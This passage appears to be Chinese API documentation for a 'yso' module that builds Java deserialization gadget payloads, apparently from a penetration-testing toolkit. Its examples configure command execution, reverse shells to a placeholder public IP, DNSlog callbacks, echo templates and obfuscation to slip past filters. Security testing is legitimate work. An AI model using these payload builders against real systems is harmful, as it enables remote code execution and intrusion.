gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetBytes,_ = yso.ToBytes(gadgetObj,yso.dirtyDataLength(10000),yso.twoBytesCharString())
#
定义ToBytes(i any, opts ...MarshalOptionFun) ([]byte, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any | |
opts | ...MarshalOptionFun |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | []byte | |
r2 | error |
#
ToJson#
详细描述ToJson 将 Java 或反序列化对象转换为 json 字符串
Example:
gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetJson,_ = yso.ToJson(gadgetObj)
#
定义ToJson(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
command#
详细描述SetExecCommand
command 请求参数选项函数,用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.command("whoami"),yso.useRuntimeExecTemplate())
#
定义command(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
dirtyDataLength#
详细描述#
定义dirtyDataLength(length int) MarshalOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
length | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | MarshalOptionFun |
#
dnslogDomain#
详细描述SetDnslog
dnslogDomain 请求参数选项函数,设置指定的 Dnslog 域名,需要配合 useDnslogTemplate 使用。
addr:要设置的 Dnslog 域名。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useDnslogTemplate(),yso.dnslogDomain("dnslog.com"))
#
定义dnslogDomain(addr string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
addr | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
dump#
详细描述dump 将Java 对象转换为类 Java 代码
Example:
gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetDump,_ = yso.dump(gadgetObj)
#
定义dump(i any) (string, error)
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
i | any |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | string | |
r2 | error |
#
evilClassName#
详细描述SetClassName
evilClassName 请求参数选项函数,用于设置生成的类名。
className:要设置的类名。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.evilClassName("EvilClass"))
#
定义evilClassName(className string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
className | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
majorVersion#
详细描述#
定义majorVersion(v uint16) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
v | uint16 |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
obfuscationClassConstantPool#
详细描述#
定义obfuscationClassConstantPool()
#
springEchoBody#
详细描述#
定义springEchoBody()
#
springHeader#
详细描述SetHeader
springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。
需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.9,以触发回显。
key:要设置的 header 键。
val:要设置的 header 值。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check"))
#
定义springHeader(key string, val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
key | string | |
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
springParam#
详细描述SetParam
springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。
param:要设置的请求参数。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check"))
#
定义springParam(val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
springRuntimeExecAction#
详细描述#
定义springRuntimeExecAction()
#
tcpReverseHost#
详细描述SetTcpReverseHost
tcpReverseHost 请求参数选项函数,设置指定的 tcpReverseHost 域名,需要配合 useTcpReverseTemplate ,tcpReversePort 使用。
还需要配合 tcpReverseToken 使用,用于是否反连成功的标志。
host:要设置的 tcpReverseHost 的host。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))
#
定义tcpReverseHost(host string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
tcpReversePort#
详细描述SetTcpReversePort
tcpReversePort 请求参数选项函数,设置指定的 tcpReversePort 域名,需要配合 useTcpReverseTemplate ,tcpReverseHost 使用。
还需要配合 tcpReverseToken 使用,用于是否反连成功的标志。
port:要设置的 tcpReversePort 的port。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))
#
定义tcpReversePort(port int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
port | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
tcpReverseToken#
详细描述SetTcpReverseToken
tcpReverseToken 请求参数选项函数,设置指定的 token 用于是否反连成功的标志,需要配合 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 使用。
token:要设置的 token 。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))
#
定义tcpReverseToken(token string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
token | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
threeBytesCharString#
详细描述#
定义threeBytesCharString()
#
twoBytesCharString#
详细描述#
定义twoBytesCharString()
#
useBase64BytesClass#
详细描述SetClassBase64Bytes
useBase64BytesClass 请求参数选项函数,传入base64编码的字节码。
base64:base64编码的字节码。
Example:
gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBase64BytesClass(base64Class))
#
定义useBase64BytesClass(base64 string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
base64 | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useBytesClass#
详细描述SetClassBytes
useBytesClass 请求参数选项函数,传入字节码。
data:字节码。
Example:
bytesCode,_ =codec.DecodeBase64(bytes)gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesClass(bytesCode))
#
定义useBytesClass(data []byte) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
data | []byte |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useBytesEvilClass#
详细描述SetBytesEvilClass
useBytesEvilClass 请求参数选项函数,传入自定义的字节码。
data:自定义的字节码。
Example:
bytesCode,_ =codec.DecodeBase64(bytes)gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode))
#
定义useBytesEvilClass(data []byte) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
data | []byte |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useClassMultiEchoTemplate#
详细描述#
定义useClassMultiEchoTemplate()
#
useClassParam#
详细描述#
定义useClassParam(k string, v string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
k | string | |
v | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useConstructorExecutor#
详细描述#
定义useConstructorExecutor()
#
useDNSLogEvilClass#
详细描述SetDnslogEvilClass
useDnslogEvilClass 请求参数选项函数,设置生成Dnslog类的模板,同时设置指定的 Dnslog 域名。
addr:要设置的 Dnslog 域名。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useDnslogEvilClass("dnslog.com"))
#
定义useDNSLogEvilClass(addr string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
addr | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useDNSlogTemplate#
详细描述#
定义useDNSlogTemplate()
#
useEchoBody#
详细描述#
定义useEchoBody()
#
useHeaderEchoEvilClass#
详细描述#
定义useHeaderEchoEvilClass()
#
useHeaderEchoTemplate#
详细描述#
定义useHeaderEchoTemplate()
#
useHeaderParam#
详细描述SetHeader
springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。
需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.9,以触发回显。
key:要设置的 header 键。
val:要设置的 header 值。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check"))
#
定义useHeaderParam(key string, val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
key | string | |
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useModifyTomcatMaxHeaderSizeTemplate#
详细描述#
定义useModifyTomcatMaxHeaderSizeTemplate()
#
useMultiEchoEvilClass#
详细描述#
定义useMultiEchoEvilClass()
#
useParam#
详细描述SetParam
springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。
param:要设置的请求参数。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check"))
#
定义useParam(val string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
val | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useProcessBuilderExecEvilClass#
详细描述SetProcessBuilderExecEvilClass
useProcessBuilderExecEvilClass 请求参数选项函数,设置生成ProcessBuilderExec类的模板,同时设置要执行的命令。
cmd:要执行的命令字符串。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useProcessBuilderExecEvilClass("whoami"))
#
定义useProcessBuilderExecEvilClass(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useProcessBuilderExecTemplate#
详细描述#
定义useProcessBuilderExecTemplate()
#
useProcessImplExecEvilClass#
详细描述SetProcessImplExecEvilClass
useProcessImplExecEvilClass 请求参数选项函数,设置生成ProcessImplExec类的模板,同时设置要执行的命令。
cmd:要执行的命令字符串。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useProcessImplExecEvilClass("whoami"))
#
定义useProcessImplExecEvilClass(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useProcessImplExecTemplate#
详细描述#
定义useProcessImplExecTemplate()
#
useRuntimeExecEvilClass#
详细描述SetRuntimeExecEvilClass
useRuntimeExecEvilClass 请求参数选项函数,设置生成RuntimeExec类的模板,同时设置要执行的命令。
cmd:要执行的命令字符串。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass("whoami"))
#
定义useRuntimeExecEvilClass(cmd string) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
cmd | string |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useRuntimeExecTemplate#
详细描述#
定义useRuntimeExecTemplate()
#
useSleepEvilClass#
详细描述#
定义useSleepEvilClass()
#
useSleepTemplate#
详细描述#
定义useSleepTemplate()
#
useSleepTime#
详细描述SetSleepTime
useSleepTime 请求参数选项函数,设置指定的 sleep 时长,需要配合 useSleepTemplate 使用,主要用与指定 sleep 时长,用于延时检测gadget。
Example:
yso.GetCommonsBeanutils1JavaObject(yso.useSleepTemplate(),yso.useSleepTime(5)) // 发送生成的 Payload 后,观察响应时间是否大于 5s
#
定义useSleepTime(time int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
time | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useSpringEchoTemplate#
详细描述#
定义useSpringEchoTemplate()
#
useTcpReverseEvilClass#
详细描述SetTcpReverseEvilClass
useTcpReverseEvilClass 请求参数选项函数,设置生成TcpReverse类的模板,同时设置指定的 tcpReverseHost ,tcpReversePort。
相当于 useTcpReverseTemplate ,tcpReverseHost 两个个函数的组合。
host:要设置的 tcpReverseHost 的host。
port:要设置的 tcpReversePort 的port。
Example:
host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseEvilClass(host,8080),yso.tcpReverseToken(token))
#
定义useTcpReverseEvilClass(host string, port int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useTcpReverseShellEvilClass#
详细描述SetTcpReverseShellEvilClass
useTcpReverseShellEvilClass 请求参数选项函数,设置生成TcpReverseShell类的模板,同时设置指定的 tcpReverseShellHost ,tcpReverseShellPort。
相当于 useTcpReverseShellTemplate ,tcpReverseShellHost,tcpReverseShellPort 三个个函数的组合。
host:要设置的 tcpReverseShellHost 的host。
port:要设置的 tcpReverseShellPort 的port。
Example:
host = "公网IP"yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseShellEvilClass(host,8080))
#
定义useTcpReverseShellEvilClass(host string, port int) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
host | string | |
port | int |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useTcpReverseShellTemplate#
详细描述#
定义useTcpReverseShellTemplate()
#
useTcpReverseTemplate#
详细描述#
定义useTcpReverseTemplate()
#
useTemplate#
详细描述#
定义useTemplate(t ClassType) GenClassOptionFun
#
参数参数名 | 参数类型 | 参数解释 |
---|---|---|
t | ClassType |
#
返回值返回值(顺序) | 返回值类型 | 返回值解释 |
---|---|---|
r1 | GenClassOptionFun |
#
useTomcatEchoEvilClass#
详细描述#
定义useTomcatEchoEvilClass()
#
useTomcatEchoTemplate#
详细描述#
定义useTomcatEchoTemplate()